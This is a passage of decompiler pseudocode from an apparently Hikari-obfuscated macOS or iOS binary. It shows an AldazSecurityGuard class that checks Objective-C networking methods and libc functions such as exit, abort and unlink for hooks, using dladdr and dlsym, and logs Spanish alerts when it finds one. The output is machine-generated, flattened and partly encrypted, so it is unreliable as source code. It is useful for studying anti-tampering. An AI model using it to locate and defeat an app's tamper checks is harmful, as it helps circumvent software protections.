v3 = -2021543946;
v5 = 930105744;
goto LABEL_235;
case 1650429272:
v4 = 1;
v3 = 1650429272;
v5 = 327360788;
goto LABEL_235;
}
}
else
{
switch ( v47 )
{
case 1421019588:
*v60 = 1093804616;
break;
case 1446144920:
*v60 = -1538328453;
v42 = ClassMethod;
break;
case 1549067407:
*v60 = -1389858817;
break;
}
}
}
else if ( v47 <= 1930818507 )
{
switch ( v47 )
{
case 1731778580:
v15 = objc_msgSend(
v36,
v50,
CFSTR("\xF6\x9B\x88\xC22\x92N\x88FD1\x8DR\xF0\xB1\x3C\x14`\xF5\x50\x6D\xC43ʂ\xDB\x39\xC1\xB6\xBA\x83S1r"),
v51,
v52,
v37);
objc_retainAutoreleasedReturnValue(v15);
*v60 = -721220098;
break;
case 1852576420:
v10 = !v57;
v3 = 233182370;
v11 = 1639989737;
goto LABEL_241;
case 1921471890:
v4 = 1;
v3 = 592000163;
v5 = 25267116;
goto LABEL_235;
}
}
else if ( v47 > 1991246039 )
{
if ( v47 == 1991246040 )
{
*v60 = 1558044747;
}
else if ( v47 == 2054258779 )
{
*v60 = -659745531;
}
}
else
{
if ( v47 == 1930818508 )
{
v4 = 0;
v3 = -841559637;
v5 = 115626483;
goto LABEL_235;
}
if ( v47 == 1942797957 )
{
v7 = 1;
v3 = 1650429272;
v8 = 267185501;
goto LABEL_253;
}
}
}
else if ( v47 <= 1093804615 )
{
if ( v47 > 930105743 )
{
switch ( v47 )
{
case 930105744:
v7 = 0;
v35 = &OBJC_CLASS___NSString;
v3 = -2021543946;
v8 = 1549067407;
goto LABEL_253;
case 1048448903:
v4 = 1;
v3 = -1970705309;
v5 = 382876465;
goto LABEL_235;
case 1049857462:
ClassMethod = class_getClassMethod(cls, v33);
*v60 = -1488154637;
break;
}
}
else
{
switch ( v47 )
{
case 758153495:
dword_10029F2B8 = 1;
v7 = 0;
v48 = (Dl_info *)(&v23 - 4);
v3 = -480471914;
v8 = -372484923;
goto LABEL_253;
case 781707604:
v10 = 0;
v3 = -1592326701;
v11 = -2134469800;
goto LABEL_241;
case 884094109:
v10 = 0;
v36 = &OBJC_CLASS___NSString;
v37 = v48->dli_fname;
v3 = 670204019;
v11 = 1313426807;
goto LABEL_241;
}
}
}
else if ( v47 <= 1241995543 )
{
switch ( v47 )
{
case 1093804616:
*v60 = 1279027838;
v39 = 0;
name = &byte_100266781;
v41 = off_10025B180;
break;
case 1141739607:
v33 = HikariFunctionWrapper_2801(v52);
*v60 = -34896280;
break;
case 1170451128:
v2 = 0;
v3 = 1446144920;
LABEL_224:
v17 = -1338716538;
goto LABEL_258;
}
}
else if ( v47 > 1296175288 )
{
if ( v47 == 1296175289 )
{
InstanceMethod = class_getInstanceMethod(cls, v33);
*v60 = 1241995544;
}
else if ( v47 == 1313426807 )
{
*v60 = -446406247;
}
}
else
{
if ( v47 == 1241995544 )
{
v7 = 1;
v3 = -973177298;
v8 = 65190873;
goto LABEL_253;
}
if ( v47 == 1279027838 )
{
v29 = v41;
v51 = name;
v30 = v39;
v52 = v41[1];
cls = objc_getClass(name);
v2 = cls == 0;
v3 = 1141739607;
LABEL_231:
v17 = -2077330689;
goto LABEL_258;
}
}
}
if ( v47 > 295759916 )
break;
if ( v47 <= 92846559 )
{
if ( v47 > 25267115 )
{
switch ( v47 )
{
case 25267116:
v7 = 0;
v3 = 25267116;
v8 = 504421625;
goto LABEL_253;
case 54390078:
v16 = (unsigned __int8)HikariFunctionWrapper_2805(a1, v31);
v4 = 1;
v58 = v16;
v3 = 54390078;
v5 = -36860912;
goto LABEL_235;
case 65190873:
*v60 = -973177298;
break;
}
}
else
{
switch ( v47 )
{
case -36860912:
*v60 = 133359432;
break;
case -34896280:
v55 = *((_BYTE *)v29 + 16) == 0;
*v60 = -1726411834;
break;
case 3074101:
v10 = !v55;
v3 = 1049857462;
v11 = 1296175289;
goto LABEL_241;
}
}
}
else if ( v47 <= 233182369 )
{
switch ( v47 )
{
case 92846560:
*v60 = -1538328453;
v42 = InstanceMethod;
break;
case 115626483:
*v60 = -841559637;
break;
case 133359432:
v10 = 0;
v3 = 242399136;
v11 = 557369075;
goto LABEL_241;
}
}
else if ( v47 > 251552291 )
{
if ( v47 == 251552292 )
{
*v60 = -466513841;
}
else if ( v47 == 267185501 )
{
*v60 = 1650429272;
}
}
else
{
if ( v47 == 233182370 )
{
v7 = 1;
v3 = 54390078;
v8 = -124510442;
goto LABEL_253;
}
if ( v47 == 242399136 )
*v60 = 557369075;
}
}
if ( v47 <= 508060177 )
break;
if ( v47 > 592000162 )
{
switch ( v47 )
{
case 592000163:
*v60 = 25267116;
break;
case 670204019:
*v60 = 884094109;
break;
case 677941281:
*v60 = 540241838;
break;
}
}
else
{
switch ( v47 )
{
case 508060178:
*v60 = -768319050;
break;
case 540241838:
v7 = 1;
v46 = dword_10029F2B8;
v3 = -1489568074;
v8 = 540241838;
goto LABEL_253;
case 557369075:
v59 = v58 == 0;
v7 = 1;
v3 = 251552292;
v8 = 242399136;
goto LABEL_253;
}
}
}
if ( v47 <= 467410137 )
break;
switch ( v47 )
{
case 467410138:
v13 = 1279027838;
if ( v49 == 21 )
v13 = 1942797957;
v14 = *v38;
*v60 = v13;
v39 = v49;
name = v14;
v41 = v38;
break;
case 504421625:
*v60 = -406080266;
v43 = v27;
break;
case 506677943:
byte_10026663E = 115;
byte_10026663F = 107;
byte_100266640 = 0;
strcpy(&byte_1002667E0, "sessionWithConfiguration:delegate:delegateQueue:");
strcpy(&byte_100266840, "NSMutableURLRequest");
strcpy(&byte_1002666B0, "NSMutableDictionary");
strcpy(&byte_1002665F0, "isEqualToString:");
strcpy(&byte_100266A20, "objectForKey:");
aE_0[0] = 100;
aE_0[1] = 108;
aE_0[2] = 97;
aE_0[3] = 100;
aE_0[4] = 100;
aE_0[5] = 114;
aE_0[6] = 32;
aE_0[7] = 102;
aE_0[8] = 97;
aE_0[9] = 108;
aE_0[10] = 108;
aE_0[11] = 243;
aE_0[12] = 32;
aE_0[13] = 112;
aE_0[14] = 97;
aE_0[15] = 114;
aE_0[16] = 97;
aE_0[17] = 32;
aE_0[18] = 37;
aE_0[19] = 115;
aE_0[20] = 58;
aE_0[21] = 58;
aE_0[22] = 37;
aE_0[23] = 115;
aE_0[24] = 0;
strcpy(&byte_1002669A0, "setValue:forHTTPHeaderField:");
strcpy(&byte_100266550, "uploadTaskWithRequest:fromFile:");
strcpy(&byte_100265B50, "NSPropertyListSerialization");
strcpy(&byte_100266510, "uploadTaskWithStreamedRequest:");
strcpy(&byte_100266420, "propertyListWithData:options:format:error:");
strcpy(a7_5, "NSDictionary");
strcpy(&byte_1002664D0, "dictionaryWithContentsOfFile:");
strcpy(asc_1002665A0, "Hook ObjC detectado: %s::%s -> %s");
strcpy(&byte_100266A05, "setHTTPBody:");
strcpy(&byte_100266928, "contentsAtPath:");
strcpy(&byte_100266480, "dataWithPropertyList:format:options:error:");
v4 = 0;
v3 = -1637620891;
v5 = 506677943;
goto LABEL_235;
}
}
if ( v47 <= 355259276 )
break;
if ( v47 == 355259277 )
{
v56 = dladdr(v26, v48) == 0;
*v60 = 1930818508;
}
else if ( v47 == 382876465 )
{
v9 = HikariFunctionWrapper_2803(v44);
v4 = 1;
v26 = v9;
v3 = 382876465;
v5 = -1999467179;
goto LABEL_235;
}
}
if ( v47 == 295759917 )
{
v7 = 1;
v3 = -137524661;
v8 = -126744923;
goto LABEL_253;
}
}
while ( v47 != 327360788 );
}
// 10025B180: using guessed type char *off_10025B180[2];
// 100266420: using guessed type char byte_100266420;
// 100266480: using guessed type char byte_100266480;
// 1002664D0: using guessed type char byte_1002664D0;
// 100266510: using guessed type char byte_100266510;
// 100266550: using guessed type char byte_100266550;
// 1002665F0: using guessed type char byte_1002665F0;
// 100266630: using guessed type char byte_100266630;
// 10026663E: using guessed type char byte_10026663E;
// 10026663F: using guessed type char byte_10026663F;
// 100266640: using guessed type char byte_100266640;
// 100266670: using guessed type char byte_100266670;
// 1002666B0: using guessed type char byte_1002666B0;
// 1002666D4: using guessed type char byte_1002666D4;
// 1002666F1: using guessed type char byte_1002666F1;
// 100266730: using guessed type char byte_100266730;
// 10026676C: using guessed type char byte_10026676C;
// 100266781: using guessed type char byte_100266781;
// 100266782: using guessed type char byte_100266782;
// 100266783: using guessed type char byte_100266783;
// 100266784: using guessed type char byte_100266784;
// 100266785: using guessed type char byte_100266785;
// 100266786: using guessed type char byte_100266786;
// 100266787: using guessed type char byte_100266787;
// 100266791: using guessed type char byte_100266791;
// 100266792: using guessed type char byte_100266792;
// 100266793: using guessed type char byte_100266793;
// 100266794: using guessed type char byte_100266794;
// 100266795: using guessed type char byte_100266795;
// 100266796: using guessed type char byte_100266796;
// 100266797: using guessed type char byte_100266797;
// 100266798: using guessed type char byte_100266798;
// 100266799: using guessed type char byte_100266799;
// 1002667E0: using guessed type char byte_1002667E0;
// 100266840: using guessed type char byte_100266840;
// 1002668A0: using guessed type __int16 aE_0[25];
// 100266900: using guessed type char byte_100266900;
// 100266928: using guessed type char byte_100266928;
// 10026693F: using guessed type char byte_10026693F;
// 100266940: using guessed type char byte_100266940;
// 100266941: using guessed type char byte_100266941;
// 100266942: using guessed type char byte_100266942;
// 100266943: using guessed type char byte_100266943;
// 100266944: using guessed type char byte_100266944;
// 100266945: using guessed type char byte_100266945;
// 100266954: using guessed type char byte_100266954;
// 10026696F: using guessed type char byte_10026696F;
// 100266970: using guessed type char byte_100266970;
// 100266971: using guessed type char byte_100266971;
// 100266972: using guessed type char byte_100266972;
// 100266973: using guessed type char byte_100266973;
// 100266974: using guessed type char byte_100266974;
// 100266975: using guessed type char byte_100266975;
// 100266976: using guessed type char byte_100266976;
// 100266977: using guessed type char byte_100266977;
// 100266978: using guessed type char byte_100266978;
// 100266979: using guessed type char byte_100266979;
// 10026697A: using guessed type char byte_10026697A;
// 10026697B: using guessed type char byte_10026697B;
// 1002669A0: using guessed type char byte_1002669A0;
// 1002669E0: using guessed type char byte_1002669E0;
// 100266A05: using guessed type char byte_100266A05;
// 100266A20: using guessed type char byte_100266A20;
// 100266A50: using guessed type char byte_100266A50;
// 100266A90: using guessed type char byte_100266A90;
// 100266AD0: using guessed type __CFString stru_100266AD0;
// 100266B10: using guessed type __CFString cfstr_E_0;
// 10029F2B8: using guessed type int dword_10029F2B8;
//----- (0000000100047875) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkLibcFunctionHooks](id a1, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
id v7; // rax
bool v8; // zf
int v9; // ecx
char v10; // cf
int v11; // ecx
id v12; // rax
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
unsigned __int8 v17; // al
void *v18; // rax
int v19; // eax
id v20; // rax
bool v21; // dl
const void *v22; // [rsp+0h] [rbp-F0h] BYREF
id v23; // [rsp+8h] [rbp-E8h]
id v24; // [rsp+10h] [rbp-E0h]
id v25; // [rsp+18h] [rbp-D8h]
char **v26; // [rsp+20h] [rbp-D0h]
SEL v27; // [rsp+28h] [rbp-C8h]
const char *v28; // [rsp+30h] [rbp-C0h]
SEL v29; // [rsp+38h] [rbp-B8h]
id v30; // [rsp+40h] [rbp-B0h]
const char *dli_fname; // [rsp+48h] [rbp-A8h]
id v32; // [rsp+50h] [rbp-A0h]
char **v33; // [rsp+58h] [rbp-98h]
char *v34; // [rsp+60h] [rbp-90h]
char *v35; // [rsp+68h] [rbp-88h]
char **v36; // [rsp+70h] [rbp-80h]
void *v37; // [rsp+78h] [rbp-78h]
int v38; // [rsp+84h] [rbp-6Ch]
int v39; // [rsp+88h] [rbp-68h]
int v40; // [rsp+8Ch] [rbp-64h] BYREF
Dl_info *v41; // [rsp+90h] [rbp-60h]
id v42; // [rsp+98h] [rbp-58h]
SEL v43; // [rsp+A0h] [rbp-50h]
__int16 v44; // [rsp+AEh] [rbp-42h]
char *__symbol; // [rsp+B0h] [rbp-40h]
bool v46; // [rsp+BAh] [rbp-36h]
bool v47; // [rsp+BBh] [rbp-35h]
bool v48; // [rsp+BCh] [rbp-34h]
bool v49; // [rsp+BDh] [rbp-33h]
unsigned __int8 v50; // [rsp+BEh] [rbp-32h]
bool v51; // [rsp+BFh] [rbp-31h]
int *v52; // [rsp+C0h] [rbp-30h]
v38 = 0;
v40 = -704823295;
v52 = &v40;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v40 <= -293596544 )
{
if ( v40 > -1344659631 )
{
if ( v40 <= -704823296 )
{
if ( v40 <= -956827970 )
{
if ( v40 <= -1214741829 )
{
if ( v40 == -1344659630 )
{
*v52 = -1471416885;
}
else if ( v40 == -1231254030 )
{
*v52 = -330040239;
}
}
else
{
switch ( v40 )
{
case -1214741828:
*v52 = -33834780;
break;
case -1108699489:
v26 = v36;
__symbol = v35;
v2 = 0;
v3 = 305072405;
v4 = -1636598691;
goto LABEL_220;
case -1081788447:
v8 = 0;
v3 = 1122543551;
v9 = -376438757;
goto LABEL_204;
}
}
}
else if ( v40 > -797018110 )
{
switch ( v40 )
{
case -797018109:
v8 = 0;
v3 = -1231254030;
v9 = -330040239;
goto LABEL_204;
case -756623016:
v42 = v37;
v5 = 1;
v3 = 305435519;
v6 = 388992633;
LABEL_215:
if ( !v5 )
v3 = v6;
goto LABEL_222;
case -728975055:
*v52 = -286387732;
break;
}
}
else
{
switch ( v40 )
{
case -956827969:
*v52 = -1570789654;
break;
case -869116229:
v10 = 0;
v3 = -1892946270;
v11 = -1798352227;
LABEL_210:
if ( v10 )
v3 = v11;
LABEL_222:
*v52 = v3;
break;
case -866080853:
v8 = 0;
v3 = -866080853;
v9 = 946793406;
goto LABEL_204;
}
}
}
else if ( v40 > -594715421 )
{
if ( v40 > -376438758 )
{
switch ( v40 )
{
case -376438757:
v2 = 0;
v3 = 1054414677;
v4 = 1122543551;
goto LABEL_220;
case -337640866:
*v52 = 1928703737;
break;
case -330040239:
v5 = 1;
v3 = 1334199370;
v6 = -330040239;
goto LABEL_215;
}
}
else
{
switch ( v40 )
{
case -594715420:
v10 = 1;
v3 = -1665383151;
v11 = 249054356;
goto LABEL_210;
case -423588249:
v48 = HikariFunctionWrapper_2809(v22, v41) == 0;
*v52 = -594715420;
break;
case -422382996:
*v52 = 295784680;
break;
}
}
}
else if ( v40 > -644431485 )
{
switch ( v40 )
{
case -644431484:
v10 = 0;
v3 = -657276799;
v11 = -2136900930;
goto LABEL_210;
case -630836049:
*v52 = 2031914664;
break;
case -609816148:
HikariFunctionWrapper_2817(a1, v27);
*v52 = -2146895592;
break;
}
}
else
{
switch ( v40 )
{
case -704823295:
v2 = v38 == -1786141296;
v3 = 2031914664;
v4 = -630836049;
goto LABEL_220;
case -688718127:
v2 = 0;
v3 = -1570789654;
v4 = -956827969;
LABEL_220:
if ( v2 )
v3 = v4;
goto LABEL_222;
case -657276799:
v5 = 0;
v24 = &OBJC_CLASS___NSString;
v3 = -657276799;
v6 = 1230962578;
goto LABEL_215;
}
}
}
else if ( v40 <= -1816473387 )
{
if ( v40 <= -2039053960 )
{
if ( v40 <= -2111372196 )
{
if ( v40 == -2146895592 )
{
v17 = (unsigned __int8)objc_msgSend(a1, v27, dli_fname);
v5 = 1;
v50 = v17;
v3 = -1214741828;
v6 = -609816148;
goto LABEL_215;
}
if ( v40 == -2136900930 )
*v52 = -657276799;
}
else
{
switch ( v40 )
{
case -2111372195:
v15 = HikariFunctionWrapper_2813(&OBJC_CLASS___NSString, v43);
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_msgSend(a1, v29, v16, CFSTR("aw\xC8\x2A"));
*v52 = 2007267445;
break;
case -2055420717:
v46 = v39 == 0;
v8 = 0;
v3 = -2055420717;
v9 = -337640866;
goto LABEL_204;
case -2053926934:
*v52 = -1757060600;
break;
}
}
}
else if ( v40 > -1918299894 )
{
switch ( v40 )
{
case -1918299893:
v10 = 0;
v3 = 295784680;
v11 = -422382996;
goto LABEL_210;
case -1897040623:
*v52 = 1495220582;
break;
case -1892946270:
byte_100266CB5 = 101;
byte_100266CB6 = 120;
byte_100266CB7 = 105;
byte_100266CB8 = 116;
byte_100266CB9 = 0;
byte_100266CAA = 114;
asc_100266C70[0] = 70;
asc_100266C70[1] = 117;
asc_100266C70[2] = 110;
asc_100266C70[3] = 99;
asc_100266C70[4] = 105;
asc_100266C70[5] = 243;
asc_100266C70[6] = 110;
asc_100266C70[7] = 32;
asc_100266C70[8] = 110;
asc_100266C70[9] = 111;
asc_100266C70[10] = 32;
asc_100266C70[11] = 101;
asc_100266C70[12] = 110;
asc_100266C70[13] = 99;
asc_100266C70[14] = 111;
asc_100266C70[15] = 110;
asc_100266C70[16] = 116;
asc_100266C70[17] = 114;
asc_100266C70[18] = 97;
asc_100266C70[19] = 100;
asc_100266C70[20] = 97;
asc_100266C70[21] = 58;
byte_100266CAB = 97;
byte_100266CAC = 105;
byte_100266CAD = 115;
byte_100266CAE = 101;
byte_100266CAF = 0;
asc_100266C70[22] = 32;
asc_100266C70[23] = 37;
asc_100266C70[24] = 115;
asc_100266C70[25] = 0;
byte_100266C2A = 114;
byte_100266C2B = 109;
byte_100266C2C = 100;
byte_100266C2D = 105;
byte_100266C2E = 114;
v5 = 1;
byte_100266C2F = 0;
v3 = -1344659630;
v6 = -1798352227;
goto LABEL_215;
}
}
else
{
switch ( v40 )
{
case -2039053959:
v20 = objc_msgSend(
v24,
v43,
CFSTR("\xB9'\xE3\xB6\xFB\xAB\x98>p\xF3\xA0\x3B\x5C\xCB\xEC\xBF\\\x15_\x1D'i\xCE\x313\x8A\xD2\x0DuC"),
__symbol,
v41->dli_fname);
v25 = objc_retainAutoreleasedReturnValue(v20);
*v52 = -797018109;
break;
case -1976294307:
v10 = 1;
v3 = 1298625269;
v11 = -2055420717;
goto LABEL_210;
case -1918993143:
v34 = *v33;
*v52 = 1432633363;
break;
}
}
}
else if ( v40 > -1570789655 )
{
if ( v40 > -1497913288 )
{
switch ( v40 )
{
case -1497913287:
*v52 = -1816473386;
break;
case -1471416885:
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
strcpy(asc_100266B80, "Hook libc detectado: %s -> %s");
byte_100266BA5 = 114;
byte_100266BA6 = 101;
byte_100266BA7 = 109;
byte_100266BA8 = 111;
byte_100266BA9 = 118;
byte_100266BAA = 101;
byte_100266BAB = 0;
byte_100266B44 = 97;
byte_100266B45 = 98;
byte_100266B46 = 111;
byte_100266B47 = 114;
byte_100266B48 = 116;
byte_100266B49 = 0;
asc_100266BF0[0] = 100;
asc_100266BF0[1] = 108;
asc_100266BF0[2] = 97;
asc_100266BF0[3] = 100;
asc_100266BF0[4] = 100;
asc_100266BF0[5] = 114;
asc_100266BF0[6] = 32;
asc_100266BF0[7] = 102;
asc_100266BF0[8] = 97;
asc_100266BF0[9] = 108;
asc_100266BF0[10] = 108;
asc_100266BF0[11] = 243;
asc_100266BF0[12] = 32;
asc_100266BF0[13] = 112;
asc_100266BF0[14] = 97;
asc_100266BF0[15] = 114;
asc_100266BF0[16] = 97;
asc_100266BF0[17] = 32;
asc_100266BF0[18] = 102;
asc_100266BF0[19] = 117;
asc_100266BF0[20] = 110;
v44 = 99;
*v52 = -1540717204;
break;
case -1468265103:
v5 = 0;
v3 = 1846460214;
v6 = 1370766518;
goto LABEL_215;
}
}
else
{
switch ( v40 )
{
case -1570789654:
v5 = 0;
v3 = -956827969;
v6 = 91279609;
goto LABEL_215;
case -1540717204:
asc_100266BF0[21] = v44;
asc_100266BF0[22] = 32;
asc_100266BF0[23] = 37;
asc_100266BF0[24] = 115;
asc_100266BF0[25] = 0;
byte_100266B50 = 95;
byte_100266B51 = 101;
byte_100266B52 = 120;
byte_100266B53 = 105;
byte_100266B54 = 116;
byte_100266B55 = 0;
byte_100266B37 = 117;
byte_100266B38 = 110;
byte_100266B39 = 108;
byte_100266B3A = 105;
byte_100266B3B = 110;
byte_100266B3C = 107;
byte_100266B3D = 0;
*v52 = -1614133699;
break;
case -1500988055:
v8 = 0;
v3 = 1795423441;
v9 = 417078970;
goto LABEL_204;
}
}
}
else if ( v40 > -1665383152 )
{
switch ( v40 )
{
case -1665383151:
*v52 = 249054356;
break;
case -1636598691:
dlsym((void *)0xFFFFFFFFFFFFFFFELL, __symbol);
*v52 = 305072405;
break;
case -1614133699:
dword_10029F2BC = 1;
v41 = (Dl_info *)(&v22 - 4);
v27 = "ownerPathLooksTrusted:";
*v52 = -1468265103;
break;
}
}
else
{
switch ( v40 )
{
case -1816473386:
v51 = v50 == 0;
v5 = 1;
v3 = 1826953403;
v6 = -1497913287;
goto LABEL_215;
case -1798352227:
byte_100266CB5 = 101;
byte_100266CB6 = 120;
byte_100266CB7 = 105;
byte_100266CB8 = 116;
byte_100266CB9 = 0;
byte_100266CAA = 114;
byte_100266CAB = 97;
byte_100266CAC = 105;
byte_100266CAD = 115;
asc_100266C70[0] = 70;
asc_100266C70[1] = 117;
asc_100266C70[2] = 110;
asc_100266C70[3] = 99;
asc_100266C70[4] = 105;
asc_100266C70[5] = 243;
asc_100266C70[6] = 110;
asc_100266C70[7] = 32;
asc_100266C70[8] = 110;
asc_100266C70[9] = 111;
asc_100266C70[10] = 32;
asc_100266C70[11] = 101;
byte_100266CAE = 101;
byte_100266CAF = 0;
asc_100266C70[12] = 110;
asc_100266C70[13] = 99;
asc_100266C70[14] = 111;
asc_100266C70[15] = 110;
asc_100266C70[16] = 116;
asc_100266C70[17] = 114;
asc_100266C70[18] = 97;
asc_100266C70[19] = 100;
asc_100266C70[20] = 97;
asc_100266C70[21] = 58;
asc_100266C70[22] = 32;
asc_100266C70[23] = 37;
asc_100266C70[24] = 115;
asc_100266C70[25] = 0;
byte_100266C2A = 114;
byte_100266C2B = 109;
byte_100266C2C = 100;
byte_100266C2D = 105;
byte_100266C2E = 114;
byte_100266C2F = 0;
*v52 = -1892946270;
break;
case -1757060600:
v2 = 0;
v3 = -1500988055;
v4 = 1795423441;
goto LABEL_220;
}
}
}
if ( v40 > 1157454411 )
break;
if ( v40 <= 305072404 )
{
if ( v40 <= -33834781 )
{
if ( v40 <= -161095946 )
{
if ( v40 == -293596543 )
{
*v52 = -113907487;
}
else if ( v40 == -286387732 )
{
v5 = 0;
v3 = -1897040623;
LABEL_187:
v6 = 1495220582;
goto LABEL_215;
}
}
else
{
switch ( v40 )
{
case -161095945:
*v52 = 1717292266;
break;
case -133281573:
*v52 = 1091276091;
break;
case -113907487:
v10 = 1;
v3 = 1667115018;
v11 = 481335812;
goto LABEL_210;
}
}
}
else if ( v40 > 91279608 )
{
switch ( v40 )
{
case 91279609:
*v52 = -756623016;
v37 = v23;
break;
case 249054356:
v21 = v48 || v41->dli_fname == 0;
v2 = 0;
dli_fname = v41->dli_fname;
v49 = v21;
v3 = -728975055;
v4 = -1665383151;
goto LABEL_220;
case 295784680:
v8 = 0;
v32 = &OBJC_CLASS___NSString;
v3 = -422382996;
v9 = -293596543;
goto LABEL_204;
}
}
else
{
switch ( v40 )
{
case -33834780:
v10 = 1;
v3 = -1497913287;
v11 = -1816473386;
goto LABEL_210;
case -30552216:
objc_release(v30);
*v52 = 8639508;
break;
case 8639508:
objc_release(v30);
v8 = 0;
v3 = 8639508;
v9 = -2053926934;
goto LABEL_204;
}
}
}
else if ( v40 > 604547822 )
{
if ( v40 > 1054414676 )
{
switch ( v40 )
{
case 1054414677:
v8 = !v51;
v3 = 2084427032;
v9 = -644431484;
goto LABEL_204;
case 1091276091:
v2 = 0;
v3 = 8639508;
v4 = -30552216;
goto LABEL_220;
case 1122543551:
*v52 = -376438757;
break;
}
}
else
{
switch ( v40 )
{
case 604547823:
v10 = 1;
v3 = -609816148;
v11 = -2146895592;
goto LABEL_210;
case 946793406:
v8 = !v46;
v3 = -1614133699;
v9 = -869116229;
LABEL_204:
if ( !v8 )
v3 = v9;
goto LABEL_222;
case 1038876170:
v33 = v26 + 1;
*v52 = -1918993143;
break;
}
}
}
else if ( v40 > 388992632 )
{
switch ( v40 )
{
case 388992633:
HikariFunctionWrapper_2819(a1, v28);
objc_release(v42);
*v52 = 305435519;
break;
case 417078970:
LABEL_156:
*v52 = 1038876170;
break;
case 481335812:
v13 = objc_msgSend(
v32,
v43,
CFSTR("빬袱\xB8\xDB\xEE\xBA솩兀끽蝆㓄ߋ౦䳑渹픓ꃓ⚙痸\u0BC9筲绻ᯍ൩Ὃ䓂"),
__symbol);
v14 = objc_retainAutoreleasedReturnValue(v13);
v10 = 1;
v23 = v14;
v3 = 1667115018;
v11 = 1473321829;
goto LABEL_210;
}
}
else
{
switch ( v40 )
{
case 305072405:
v18 = dlsym((void *)0xFFFFFFFFFFFFFFFELL, __symbol);
v47 = v18 == 0;
v22 = v18;
*v52 = 1838781960;
break;
case 305435519:
HikariFunctionWrapper_2811(a1, v28);
objc_release(v42);
v5 = 1;
v3 = 1157454412;
v6 = 305435519;
goto LABEL_215;
case 336225227:
*v52 = -1976294307;
break;
}
}
}
if ( v40 > 1703683374 )
break;
if ( v40 <= 1370766517 )
{
if ( v40 <= 1298625268 )
{
if ( v40 == 1157454412 )
{
*v52 = 2084427032;
}
else if ( v40 == 1230962578 )
{
*v52 = -2039053959;
}
}
else
{
switch ( v40 )
{
case 1298625269:
*v52 = -2055420717;
break;
case 1334199370:
*v52 = -756623016;
v37 = v25;
break;
case 1364719442:
*v52 = -866080853;
break;
}
}
}
else if ( v40 > 1473321828 )
{
switch ( v40 )
{
case 1473321829:
*v52 = -688718127;
break;
case 1495220582:
v5 = 1;
v3 = 2012975234;
goto LABEL_187;
case 1667115018:
v12 = HikariFunctionWrapper_2815(v32, v43);
objc_retainAutoreleasedReturnValue(v12);
*v52 = 481335812;
break;
}
}
else
{
switch ( v40 )
{
case 1370766518:
v10 = 1;
v43 = "stringWithFormat:";
v28 = "handleDetectedHook:";
v3 = 1846460214;
v11 = -161095945;
goto LABEL_210;
case 1432633363:
v19 = -1108699489;
if ( !v34 )
v19 = 1703683375;
*v52 = v19;
v35 = v34;
v36 = v33;
break;
case 1437350372:
v5 = 0;
v3 = -2111372195;
v6 = 2007267445;
goto LABEL_215;
}
}
}
if ( v40 <= 1889623132 )
break;
if ( v40 > 2012975233 )
{
switch ( v40 )
{
case 2012975234:
v8 = !v49;
v3 = 604547823;
v9 = -1918299893;
goto LABEL_204;
case 2031914664:
v10 = 1;
v39 = dword_10029F2BC;
v3 = -630836049;
v11 = 336225227;
goto LABEL_210;
case 2084427032:
*v52 = 1889623133;
break;
}
}
else
{
switch ( v40 )
{
case 1889623133:
goto LABEL_156;
case 1928703737:
v8 = 0;
v3 = 1364719442;
v9 = -866080853;
goto LABEL_204;
case 2007267445:
v7 = objc_msgSend(
&OBJC_CLASS___NSString,
v43,
CFSTR("邂핺ꠓ쿮菒텹\x43\xDA\xFF\x6C䶺弥杹ꑰ㏶듗ắ쒸꠩尢鲛\u0E68褀偖楀㓴"),
__symbol);
v30 = objc_retainAutoreleasedReturnValue(v7);
objc_msgSend(a1, v29, v30, CFSTR("aw\xC8\x2A"));
v2 = 0;
v3 = -133281573;
v4 = -2111372195;
goto LABEL_220;
}
}
}
if ( v40 <= 1826953402 )
break;
switch ( v40 )
{
case 1826953403:
*v52 = -1081788447;
break;
case 1838781960:
v8 = !v47;
v3 = -423588249;
v9 = 1437350372;
goto LABEL_204;
case 1846460214:
*v52 = 1370766518;
break;
}
}
if ( v40 != 1717292266 )
break;
v29 = "logSecurityEvent:severity:";
*v52 = -1108699489;
v35 = &byte_100266CB5;
v36 = off_10025B390;
}
if ( v40 != 1795423441 )
break;
*v52 = -1500988055;
}
}
while ( v40 != 1703683375 );
}
// 10025B390: using guessed type char *off_10025B390[7];
// 100266B37: using guessed type char byte_100266B37;
// 100266B38: using guessed type char byte_100266B38;
// 100266B39: using guessed type char byte_100266B39;
// 100266B3A: using guessed type char byte_100266B3A;
// 100266B3B: using guessed type char byte_100266B3B;
// 100266B3C: using guessed type char byte_100266B3C;
// 100266B3D: using guessed type char byte_100266B3D;
// 100266B44: using guessed type char byte_100266B44;
// 100266B45: using guessed type char byte_100266B45;
// 100266B46: using guessed type char byte_100266B46;
// 100266B47: using guessed type char byte_100266B47;
// 100266B48: using guessed type char byte_100266B48;
// 100266B49: using guessed type char byte_100266B49;
// 100266B50: using guessed type char byte_100266B50;
// 100266B51: using guessed type char byte_100266B51;
// 100266B52: using guessed type char byte_100266B52;
// 100266B53: using guessed type char byte_100266B53;
// 100266B54: using guessed type char byte_100266B54;
// 100266B55: using guessed type char byte_100266B55;
// 100266BA5: using guessed type char byte_100266BA5;
// 100266BA6: using guessed type char byte_100266BA6;
// 100266BA7: using guessed type char byte_100266BA7;
// 100266BA8: using guessed type char byte_100266BA8;
// 100266BA9: using guessed type char byte_100266BA9;
// 100266BAA: using guessed type char byte_100266BAA;
// 100266BAB: using guessed type char byte_100266BAB;
// 100266BF0: using guessed type __int16 asc_100266BF0[26];
// 100266C2A: using guessed type char byte_100266C2A;
// 100266C2B: using guessed type char byte_100266C2B;
// 100266C2C: using guessed type char byte_100266C2C;
// 100266C2D: using guessed type char byte_100266C2D;
// 100266C2E: using guessed type char byte_100266C2E;
// 100266C2F: using guessed type char byte_100266C2F;
// 100266C70: using guessed type __int16 asc_100266C70[26];
// 100266CAA: using guessed type char byte_100266CAA;
// 100266CAB: using guessed type char byte_100266CAB;
// 100266CAC: using guessed type char byte_100266CAC;
// 100266CAD: using guessed type char byte_100266CAD;
// 100266CAE: using guessed type char byte_100266CAE;
// 100266CAF: using guessed type char byte_100266CAF;
// 100266CB5: using guessed type char byte_100266CB5;
